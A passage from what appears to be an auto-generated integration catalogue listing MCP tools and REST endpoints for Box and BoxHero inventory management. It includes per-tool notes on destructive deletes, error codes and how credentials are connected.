/api/v1/box/files/{file_id}/metadata/{scope}/{template_key}. Scopes: none. box_put_files_by_file_id_metadata_enterprise_securityclassification_6vmvochwuwo (write) — Put files id metadata enterprise security classification 6 vm vochw u wo via PUT /files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo PUT /api/v1/box/files/{file_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_put_files_by_file_id_metadata_global_boxskillscards (write) — Put files id metadata global box skills cards via PUT /files/{file_id}/metadata/global/boxSkillsCards PUT /api/v1/box/files/{file_id}/metadata/global/boxSkillsCards. Scopes: none. box_put_files_by_file_id_remove_shared_link (write) — Put files id remove shared link via PUT /files/{file_id}#remove_shared_link PUT /api/v1/box/files/{file_id}#remove_shared_link. Scopes: none. box_put_files_by_file_id_update_shared_link (write) — Put files id update shared link via PUT /files/{file_id}#update_shared_link PUT /api/v1/box/files/{file_id}#update_shared_link. Scopes: none. box_put_files_by_file_id_versions_by_file_version_id (write) — Put files id versions id via PUT /files/{file_id}/versions/{file_version_id} PUT /api/v1/box/files/{file_id}/versions/{file_version_id}. Scopes: none. box_put_files_by_file_id_watermark (write) — Put files id watermark via PUT /files/{file_id}/watermark PUT /api/v1/box/files/{file_id}/watermark. Scopes: none. box_put_folders_by_folder_id (write) — Put folders id via PUT /folders/{folder_id} PUT /api/v1/box/folders/{folder_id}. Scopes: none. box_put_folders_by_folder_id_add_shared_link (write) — Put folders id add shared link via PUT /folders/{folder_id}#add_shared_link PUT /api/v1/box/folders/{folder_id}#add_shared_link. Scopes: none. box_put_folders_by_folder_id_metadata_by_scope_by_template_key (write) — Put folders id metadata id id via PUT /folders/{folder_id}/metadata/{scope}/{template_key} PUT /api/v1/box/folders/{folder_id}/metadata/{scope}/{template_key}. Scopes: none. box_put_folders_by_folder_id_metadata_enterprise_securityclassification_6vmvochwuwo (write) — Put folders id metadata enterprise security classification 6 vm vochw u wo via PUT /folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo PUT /api/v1/box/folders/{folder_id}/metadata/enterprise/securityClassification-6VMVochwUWo. Scopes: none. box_put_folders_by_folder_id_remove_shared_link (write) — Put folders id remove shared link via PUT /folders/{folder_id}#remove_shared_link PUT /api/v1/box/folders/{folder_id}#remove_shared_link. Scopes: none. box_put_folders_by_folder_id_update_shared_link (write) — Put folders id update shared link via PUT /folders/{folder_id}#update_shared_link PUT /api/v1/box/folders/{folder_id}#update_shared_link. Scopes: none. box_put_folders_by_folder_id_watermark (write) — Put folders id watermark via PUT /folders/{folder_id}/watermark PUT /api/v1/box/folders/{folder_id}/watermark. Scopes: none. box_put_group_memberships_by_group_membership_id (write) — Put group memberships id via PUT /group_memberships/{group_membership_id} PUT /api/v1/box/group_memberships/{group_membership_id}. Scopes: none. box_put_groups_by_group_id (write) — Put groups id via PUT /groups/{group_id} PUT /api/v1/box/groups/{group_id}. Scopes: none. box_put_integration_mappings_slack_by_integration_mapping_id (write) — Put integration mappings slack id via PUT /integration_mappings/slack/{integration_mapping_id} PUT /api/v1/box/integration_mappings/slack/{integration_mapping_id}. Scopes: none. box_put_integration_mappings_teams_by_integration_mapping_id (write) — Put integration mappings teams id via PUT /integration_mappings/teams/{integration_mapping_id} PUT /api/v1/box/integration_mappings/teams/{integration_mapping_id}. Scopes: none. box_put_legal_hold_policies_by_legal_hold_policy_id (write) — Put legal hold policies id via PUT /legal_hold_policies/{legal_hold_policy_id} PUT /api/v1/box/legal_hold_policies/{legal_hold_policy_id}. Scopes: none. box_put_metadata_templates_by_scope_by_template_key_schema (write) — Put metadata templates id id schema via PUT /metadata_templates/{scope}/{template_key}/schema PUT /api/v1/box/metadata_templates/{scope}/{template_key}/schema. Scopes: none. box_put_metadata_templates_enterprise_securityclassification_6vmvochwuwo_schema_add (write) — Put metadata templates enterprise security classification 6 vm vochw u wo schema add via PUT /metadata_templates/enterprise/securityClassification-6VMVochwUWo/schema#add PUT /api/v1/box/metadata_templates/enterprise/securityClassification-6VMVochwUWo/schema#add. Scopes: none. box_put_metadata_templates_enterprise_securityclassification_6vmvochwuwo_schema_update (write) — Put metadata templates enterprise security classification 6 vm vochw u wo schema update via PUT /metadata_templates/enterprise/securityClassification-6VMVochwUWo/schema#update PUT /api/v1/box/metadata_templates/enterprise/securityClassification-6VMVochwUWo/schema#update. Scopes: none. box_put_retention_policies_by_retention_policy_id (write) — Put retention policies id via PUT /retention_policies/{retention_policy_id} PUT /api/v1/box/retention_policies/{retention_policy_id}. Scopes: none. box_put_shield_information_barrier_segments_by_shield_information_barrier_segment_id (write) — Put shield information barrier segments id via PUT /shield_information_barrier_segments/{shield_information_barrier_segment_id} PUT /api/v1/box/shield_information_barrier_segments/{shield_information_barrier_segment_id}. Scopes: none. box_put_skill_invocations_by_skill_id (write) — Put skill invocations id via PUT /skill_invocations/{skill_id} PUT /api/v1/box/skill_invocations/{skill_id}. Scopes: none. box_put_storage_policy_assignments_by_storage_policy_assignment_id (write) — Put storage policy assignments id via PUT /storage_policy_assignments/{storage_policy_assignment_id} PUT /api/v1/box/storage_policy_assignments/{storage_policy_assignment_id}. Scopes: none. box_put_task_assignments_by_task_assignment_id (write) — Put task assignments id via PUT /task_assignments/{task_assignment_id} PUT /api/v1/box/task_assignments/{task_assignment_id}. Scopes: none. box_put_tasks_by_task_id (write) — Put tasks id via PUT /tasks/{task_id} PUT /api/v1/box/tasks/{task_id}. Scopes: none. box_put_terms_of_service_user_statuses_by_terms_of_service_user_status_id (write) — Put terms of service user statuses id via PUT /terms_of_service_user_statuses/{terms_of_service_user_status_id} PUT /api/v1/box/terms_of_service_user_statuses/{terms_of_service_user_status_id}. Scopes: none. box_put_terms_of_services_by_terms_of_service_id (write) — Put terms of services id via PUT /terms_of_services/{terms_of_service_id} PUT /api/v1/box/terms_of_services/{terms_of_service_id}. Scopes: none. box_put_users_by_user_id (write) — Put users id via PUT /users/{user_id} PUT /api/v1/box/users/{user_id}. Scopes: none. box_put_users_by_user_id_folders_0 (write) — Put users id folders 0 via PUT /users/{user_id}/folders/0 PUT /api/v1/box/users/{user_id}/folders/0. Scopes: none. box_put_web_links_by_web_link_id (write) — Put web links id via PUT /web_links/{web_link_id} PUT /api/v1/box/web_links/{web_link_id}. Scopes: none. box_put_web_links_by_web_link_id_add_shared_link (write) — Put web links id add shared link via PUT /web_links/{web_link_id}#add_shared_link PUT /api/v1/box/web_links/{web_link_id}#add_shared_link. Scopes: none. box_put_web_links_by_web_link_id_remove_shared_link (write) — Put web links id remove shared link via PUT /web_links/{web_link_id}#remove_shared_link PUT /api/v1/box/web_links/{web_link_id}#remove_shared_link. Scopes: none. box_put_web_links_by_web_link_id_update_shared_link (write) — Put web links id update shared link via PUT /web_links/{web_link_id}#update_shared_link PUT /api/v1/box/web_links/{web_link_id}#update_shared_link. Scopes: none. box_put_webhooks_by_webhook_id (write) — Put webhooks id via PUT /webhooks/{webhook_id} PUT /api/v1/box/webhooks/{webhook_id}. Scopes: none. ================================================================================ ## BoxHero URL: https://www.agenticfabriq.com/integrations/boxhero Section: Integrated Tools BoxHero — 85 MCP tools Provider key: boxhero. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. box_hero_delete_v1_bundles_by_bundle_id (write, destructive) — Delete bundle via DELETE /v1/bundles/{bundle_id}. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/bundles/{bundle_id}. Scopes: api. box_hero_delete_v1_bundles_by_sku_by_sku (write, destructive) — Delete bundle by SKU via DELETE /v1/bundles/by-sku/{sku}. SKU-addressed twin of the id-addressed delete. A SKU containing a slash cannot be passed through this tool. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/bundles/by-sku/{sku}. Scopes: api. box_hero_delete_v1_item_attrs_by_attr_id (write, destructive) — Delete item attr via DELETE /v1/item-attrs/{attr_id}. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. DELETE /api/v1/boxhero/v1/item-attrs/{attr_id}. Scopes: api. box_hero_delete_v1_items_by_item_id (write, destructive) — Delete item via DELETE /v1/items/{item_id}. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/items/{item_id}. Scopes: api. box_hero_delete_v1_items_by_sku_by_sku (write, destructive) — Delete item by SKU via DELETE /v1/items/by-sku/{sku}. SKU-addressed twin of the id-addressed delete. A SKU containing a slash cannot be passed through this tool (see the read). DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/items/by-sku/{sku}. Scopes: api. box_hero_delete_v1_locations_by_location_id (write, destructive) — Delete location via DELETE /v1/locations/{location_id}. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/locations/{location_id}. Scopes: api. box_hero_delete_v1_partners_by_partner_id (write, destructive) — Delete partner via DELETE /v1/partners/{partner_id}. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/partners/{partner_id}. Scopes: api. box_hero_delete_v1_price_lists_by_price_list_id (write, destructive) — Delete price list via DELETE /v1/price-lists/{price_list_id}. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. DELETE /api/v1/boxhero/v1/price-lists/{price_list_id}. Scopes: api. box_hero_delete_v1_purchase_orders_by_number_by_order_number (write, destructive) — Delete purchase order by number via DELETE /v1/purchase-orders/by-number/{order_number}. Delete an order. The body is optional. Linked stock transactions are NOT auto-reversed — delete them separately via `/v1/transactions/{tx_id}` if you need to restore inventory. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. Deleting an order or a return does NOT reverse the stock transactions it was fulfilled with: inventory stays as those transactions left it until they are deleted separately via /v1/transactions/{tx_id}. DELETE /api/v1/boxhero/v1/purchase-orders/by-number/{order_number}. Scopes: api. box_hero_delete_v1_purchase_orders_by_order_id (write, destructive) — Delete purchase order via DELETE /v1/purchase-orders/{order_id}. Delete an order. The body is optional. Linked stock transactions are NOT auto-reversed — delete them separately via `/v1/transactions/{tx_id}` if you need to restore inventory. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. Deleting an order or a return does NOT reverse the stock transactions it was fulfilled with: inventory stays as those transactions left it until they are deleted separately via /v1/transactions/{tx_id}. DELETE /api/v1/boxhero/v1/purchase-orders/{order_id}. Scopes: api. box_hero_delete_v1_returns_by_number_by_return_number (write, destructive) — Delete return by number via DELETE /v1/returns/by-number/{return_number}. Delete a return. The body is optional. Linked stock transactions are NOT auto-reversed — delete them separately via `/v1/transactions/{tx_id}` if you need to restore inventory. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. Deleting an order or a return does NOT reverse the stock transactions it was fulfilled with: inventory stays as those transactions left it until they are deleted separately via /v1/transactions/{tx_id}. DELETE /api/v1/boxhero/v1/returns/by-number/{return_number}. Scopes: api. box_hero_delete_v1_returns_by_return_id (write, destructive) — Delete return via DELETE /v1/returns/{return_id}. Delete a return. The body is optional. Linked stock transactions are NOT auto-reversed — delete them separately via `/v1/transactions/{tx_id}` if you need to restore inventory. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. Deleting an order or a return does NOT reverse the stock transactions it was fulfilled with: inventory stays as those transactions left it until they are deleted separately via /v1/transactions/{tx_id}. DELETE /api/v1/boxhero/v1/returns/{return_id}. Scopes: api. box_hero_delete_v1_sales_orders_by_number_by_order_number (write, destructive) — Delete sales order by number via DELETE /v1/sales-orders/by-number/{order_number}. Delete an order. The body is optional. Linked stock transactions are NOT auto-reversed — delete them separately via `/v1/transactions/{tx_id}` if you need to restore inventory. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. Deleting an order or a return does NOT reverse the stock transactions it was fulfilled with: inventory stays as those transactions left it until they are deleted separately via /v1/transactions/{tx_id}. DELETE /api/v1/boxhero/v1/sales-orders/by-number/{order_number}. Scopes: api. box_hero_delete_v1_sales_orders_by_order_id (write, destructive) — Delete sales order via DELETE /v1/sales-orders/{order_id}. Delete an order. The body is optional. Linked stock transactions are NOT auto-reversed — delete them separately via `/v1/transactions/{tx_id}` if you need to restore inventory. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. Deleting an order or a return does NOT reverse the stock transactions it was fulfilled with: inventory stays as those transactions left it until they are deleted separately via /v1/transactions/{tx_id}. DELETE /api/v1/boxhero/v1/sales-orders/{order_id}. Scopes: api. box_hero_delete_v1_transactions_by_tx_id (write, destructive) — Delete transaction via DELETE /v1/transactions/{tx_id}. Soft-delete an existing transaction. Subsequent reads return `404`; subsequent updates/deletes return `400`. DESTRUCTIVE. BoxHero's contract publishes no undelete for this resource. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. DELETE /api/v1/boxhero/v1/transactions/{tx_id}. Scopes: api. box_hero_get_v1_bundles (read) — List bundles via GET /v1/bundles. Cursor-paginated list of bundles. GET /api/v1/boxhero/v1/bundles. Scopes: api. box_hero_get_v1_bundles_by_bundle_id (read) — Get bundle via GET /v1/bundles/{bundle_id}. A single bundle with its component items. GET /api/v1/boxhero/v1/bundles/{bundle_id}. Scopes: api. box_hero_get_v1_bundles_by_sku_by_sku (read) — Get bundle by SKU via GET /v1/bundles/by-sku/{sku}. A single bundle with its component items. Addresses the bundle by its SKU instead of its id. A SKU containing a slash cannot be passed through this tool (see the item read). GET /api/v1/boxhero/v1/bundles/by-sku/{sku}. Scopes: api. box_hero_get_v1_item_attrs (read) — List item attrs via GET /v1/item-attrs. All custom attribute specs defined for the team, sorted by `rank` ascending. File-type attributes are excluded. GET /api/v1/boxhero/v1/item-attrs. Scopes: api. box_hero_get_v1_item_attrs_by_attr_id (read) — Get item attr via GET /v1/item-attrs/{attr_id}. A single attribute spec. GET /api/v1/boxhero/v1/item-attrs/{attr_id}. Scopes: api. box_hero_get_v1_items (read) — List items via GET /v1/items. Cursor-paginated list of items. GET /api/v1/boxhero/v1/items. Scopes: api. box_hero_get_v1_items_by_item_id (read) — Get item via GET /v1/items/{item_id}. A single item. GET /api/v1/boxhero/v1/items/{item_id}. Scopes: api. box_hero_get_v1_items_by_sku_by_sku (read) — Get item by SKU via GET /v1/items/by-sku/{sku}. A single item. Addresses the item by its SKU instead of its id. A SKU containing a slash cannot be passed through this tool: the connector refuses a path argument that could re-address the request, and no BoxHero credential exists to verify how BoxHero decodes an escaped segment. Use the id-addressed twin for those. GET /api/v1/boxhero/v1/items/by-sku/{sku}. Scopes: api. box_hero_get_v1_locations (read) — List locations via GET /v1/locations. All active locations in the team. GET /api/v1/boxhero/v1/locations. Scopes: api. box_hero_get_v1_locations_by_location_id (read) — Get location via GET /v1/locations/{location_id}. A single location. GET /api/v1/boxhero/v1/locations/{location_id}. Scopes: api. box_hero_get_v1_members (read) — List members via GET /v1/members. Active members of the team linked to the current API token. GET /api/v1/boxhero/v1/members. Scopes: api. box_hero_get_v1_members_by_member_id (read) — Get member via GET /v1/members/{member_id}. A single team member. GET /api/v1/boxhero/v1/members/{member_id}. Scopes: api. box_hero_get_v1_partners (read) — List partners via GET /v1/partners. Cursor-paginated list of partners. GET /api/v1/boxhero/v1/partners. Scopes: api. box_hero_get_v1_partners_by_partner_id (read) — Get partner via GET /v1/partners/{partner_id}. A single partner. GET /api/v1/boxhero/v1/partners/{partner_id}. Scopes: api. box_hero_get_v1_price_lists (read) — List price lists via GET /v1/price-lists. Cursor-paginated list of price lists (id ascending). GET /api/v1/boxhero/v1/price-lists. Scopes: api. box_hero_get_v1_price_lists_by_price_list_id (read) — Get price list via GET /v1/price-lists/{price_list_id}. A single price list with its line items. GET /api/v1/boxhero/v1/price-lists/{price_list_id}. Scopes: api. box_hero_get_v1_purchase_orders (read) — List purchase orders via GET /v1/purchase-orders. Cursor-paginated list of orders. GET /api/v1/boxhero/v1/purchase-orders. Scopes: api. box_hero_get_v1_purchase_orders_by_number_by_order_number (read) — Get purchase order by number via GET /v1/purchase-orders/by-number/{order_number}. A single purchase order with lines and fulfillment summaries. GET /api/v1/boxhero/v1/purchase-orders/by-number/{order_number}. Scopes: api. box_hero_get_v1_purchase_orders_by_order_id (read) — Get purchase order via GET /v1/purchase-orders/{order_id}. A single purchase order with lines and fulfillment summaries. GET /api/v1/boxhero/v1/purchase-orders/{order_id}. Scopes: api. box_hero_get_v1_returns (read) — List returns via GET /v1/returns. Cursor-paginated list of returns. GET /api/v1/boxhero/v1/returns. Scopes: api. box_hero_get_v1_returns_by_number_by_return_number (read) — Get return by number via GET /v1/returns/by-number/{return_number}. A single return with lines and fulfillment summaries. GET /api/v1/boxhero/v1/returns/by-number/{return_number}. Scopes: api. box_hero_get_v1_returns_by_return_id (read) — Get return via GET /v1/returns/{return_id}. A single return with lines and fulfillment summaries. GET /api/v1/boxhero/v1/returns/{return_id}. Scopes: api. box_hero_get_v1_sales_orders (read) — List sales orders via GET /v1/sales-orders. Cursor-paginated list of orders. GET /api/v1/boxhero/v1/sales-orders. Scopes: api. box_hero_get_v1_sales_orders_by_number_by_order_number (read) — Get sales order by number via GET /v1/sales-orders/by-number/{order_number}. A single sales order with lines, sales-return totals, and fulfillment summaries. GET /api/v1/boxhero/v1/sales-orders/by-number/{order_number}. Scopes: api. box_hero_get_v1_sales_orders_by_order_id (read) — Get sales order via GET /v1/sales-orders/{order_id}. A single sales order with lines, sales-return totals, and fulfillment summaries. GET /api/v1/boxhero/v1/sales-orders/{order_id}. Scopes: api. box_hero_get_v1_teams_linked (read) — Get linked team via GET /v1/teams/linked. The team that owns the current API token. Reports the ONE team this connection's API token is bound to (id, name, currency, mode). A BoxHero token cannot reach any other team, so this is also the answer to "which account is this connection?", and it is what Agentic Fabriq calls to check a pasted token on the hosted connect page. It takes no arguments. GET /api/v1/boxhero/v1/teams/linked. Scopes: api. box_hero_get_v1_transactions (read) — List transactions via GET /v1/transactions. Cursor-paginated list of transactions without per-item detail. Fetch `GET /transactions/{tx_id}` for the line items. GET /api/v1/boxhero/v1/transactions. Scopes: api. box_hero_get_v1_transactions_by_tx_id (read) — Get transaction via GET /v1/transactions/{tx_id}. A single transaction with its line items. GET /api/v1/boxhero/v1/transactions/{tx_id}. Scopes: api. box_hero_post_v1_bundles (write) — Create bundle via POST /v1/bundles. Create a new bundle. A bundle is a fixed group of existing component items and does not carry its own stock quantity. BoxHero answers 201 Created with the new record, id and all. POST /api/v1/boxhero/v1/bundles. Scopes: api. box_hero_post_v1_item_attrs (write) — Create item attr via POST /v1/item-attrs. Create a new custom attribute spec. The `type` cannot be changed once items have values for this attribute. BoxHero answers 201 Created with the new record, id and all. POST /api/v1/boxhero/v1/item-attrs. Scopes: api. box_hero_post_v1_items (write) — Create item via POST /v1/items. Create a new item. Pass `location_id` (query) together with `quantity` (body) to seed initial stock at that location; otherwise the item starts with zero stock everywhere. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/items. Scopes: api. box_hero_post_v1_locations (write) — Create location via POST /v1/locations. Create a new location. `name` must be unique within the team. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/locations. Scopes: api. box_hero_post_v1_partners (write) — Create partner via POST /v1/partners. Create a new partner. Set `type` to `0` for a supplier or `1` for a customer. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/partners. Scopes: api. box_hero_post_v1_price_lists (write) — Create price list via POST /v1/price-lists. Create a price list. BoxHero answers 201 Created with the new record, id and all. POST /api/v1/boxhero/v1/price-lists. Scopes: api. box_hero_post_v1_purchase_orders (write) — Create purchase order via POST /v1/purchase-orders. Create a purchase or sales order. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/purchase-orders. Scopes: api. box_hero_post_v1_purchase_orders_by_number_by_order_number_transactions (write) — Create purchase order transaction by number via POST /v1/purchase-orders/by-number/{order_number}/transactions. Create a partial fulfillment stock transaction. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/purchase-orders/by-number/{order_number}/transactions. Scopes: api. box_hero_post_v1_purchase_orders_by_number_by_order_number_transactions_complete (write) — Complete purchase order transactions by number via POST /v1/purchase-orders/by-number/{order_number}/transactions/complete. Fulfill all remaining per-item quantities and mark the order or return done. Pending quantities are clamped to zero after over-fulfillment. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/purchase-orders/by-number/{order_number}/transactions/complete. Scopes: api. box_hero_post_v1_purchase_orders_by_order_id_transactions (write) — Create purchase order transaction via POST /v1/purchase-orders/{order_id}/transactions. Create a partial fulfillment stock transaction. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/purchase-orders/{order_id}/transactions. Scopes: api. box_hero_post_v1_purchase_orders_by_order_id_transactions_complete (write) — Complete purchase order transactions via POST /v1/purchase-orders/{order_id}/transactions/complete. Fulfill all remaining per-item quantities and mark the order or return done. Pending quantities are clamped to zero after over-fulfillment. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/purchase-orders/{order_id}/transactions/complete. Scopes: api. box_hero_post_v1_returns (write) — Create return via POST /v1/returns. Create a sales return. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/returns. Scopes: api. box_hero_post_v1_returns_by_number_by_return_number_transactions (write) — Create return transaction by number via POST /v1/returns/by-number/{return_number}/transactions. Create a partial fulfillment stock transaction. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/returns/by-number/{return_number}/transactions. Scopes: api. box_hero_post_v1_returns_by_number_by_return_number_transactions_complete (write) — Complete return transactions by number via POST /v1/returns/by-number/{return_number}/transactions/complete. Fulfill all remaining per-item quantities and mark the order or return done. Pending quantities are clamped to zero after over-fulfillment. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/returns/by-number/{return_number}/transactions/complete. Scopes: api. box_hero_post_v1_returns_by_return_id_transactions (write) — Create return transaction via POST /v1/returns/{return_id}/transactions. Create a partial fulfillment stock transaction. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/returns/{return_id}/transactions. Scopes: api. box_hero_post_v1_returns_by_return_id_transactions_complete (write) — Complete return transactions via POST /v1/returns/{return_id}/transactions/complete. Fulfill all remaining per-item quantities and mark the order or return done. Pending quantities are clamped to zero after over-fulfillment. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/returns/{return_id}/transactions/complete. Scopes: api. box_hero_post_v1_sales_orders (write) — Create sales order via POST /v1/sales-orders. Create a purchase or sales order. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/sales-orders. Scopes: api. box_hero_post_v1_sales_orders_by_number_by_order_number_transactions (write) — Create sales order transaction by number via POST /v1/sales-orders/by-number/{order_number}/transactions. Create a partial fulfillment stock transaction. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/sales-orders/by-number/{order_number}/transactions. Scopes: api. box_hero_post_v1_sales_orders_by_number_by_order_number_transactions_complete (write) — Complete sales order transactions by number via POST /v1/sales-orders/by-number/{order_number}/transactions/complete. Fulfill all remaining per-item quantities and mark the order or return done. Pending quantities are clamped to zero after over-fulfillment. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/sales-orders/by-number/{order_number}/transactions/complete. Scopes: api. box_hero_post_v1_sales_orders_by_order_id_transactions (write) — Create sales order transaction via POST /v1/sales-orders/{order_id}/transactions. Create a partial fulfillment stock transaction. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/sales-orders/{order_id}/transactions. Scopes: api. box_hero_post_v1_sales_orders_by_order_id_transactions_complete (write) — Complete sales order transactions via POST /v1/sales-orders/{order_id}/transactions/complete. Fulfill all remaining per-item quantities and mark the order or return done. Pending quantities are clamped to zero after over-fulfillment. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/sales-orders/{order_id}/transactions/complete. Scopes: api. box_hero_post_v1_transactions (write) — Create transaction via POST /v1/transactions. Create a new inventory transaction. Type-specific rules: Stock In/Out require `to_location_id` and may carry `partner_id`/`tx_time`; Move Stock requires both `from_location_id` and `to_location_id`, rejects `partner_id`, and may carry `tx_time`; Adjust Stock requires `to_location_id` and rejects `partner_id`/`tx_time`. BoxHero answers 201 Created with the new record, id and all. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. POST /api/v1/boxhero/v1/transactions. Scopes: api. box_hero_put_v1_bundles_by_bundle_id (write) — Update bundle via PUT /v1/bundles/{bundle_id}. Partially update a bundle. Omitted scalar fields are preserved. When `components` is provided, it replaces the full component list. PUT /api/v1/boxhero/v1/bundles/{bundle_id}. Scopes: api. box_hero_put_v1_bundles_by_sku_by_sku (write) — Update bundle by SKU via PUT /v1/bundles/by-sku/{sku}. Partially update a bundle. Omitted scalar fields are preserved. When `components` is provided, it replaces the full component list. SKU-addressed twin of the id-addressed update. A SKU containing a slash cannot be passed through this tool. PUT /api/v1/boxhero/v1/bundles/by-sku/{sku}. Scopes: api. box_hero_put_v1_item_attrs_by_attr_id (write) — Rename item attr via PUT /v1/item-attrs/{attr_id}. Rename a custom attribute spec. Only `name` is editable; create a new attribute if you need a different `type`. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and a 403 `/errors/core/forbidden` with `code: not-available-for-api-token` is an operation the API token may not perform at all. PUT /api/v1/boxhero/v1/item-attrs/{attr_id}. Scopes: api. box_hero_put_v1_item_attrs_ranks (write) — Reorder item attrs via PUT /v1/item-attrs/ranks. Reorder custom attribute specs. Pass a list of `(id, rank)` pairs; ranks need not be contiguous and only the specs you include are updated. The request body is a JSON ARRAY of `(id, rank)` pairs, not an object. Whether a spec OMITTED from the array keeps its rank or is reordered implicitly is not stated by BoxHero's contract and was not measurable for this build (no BoxHero token exists), so send the full intended order and read the specs back. A 402 `/errors/core/usage-limit-exceeded` here is the TEAM's plan limit rather than a credential problem, and 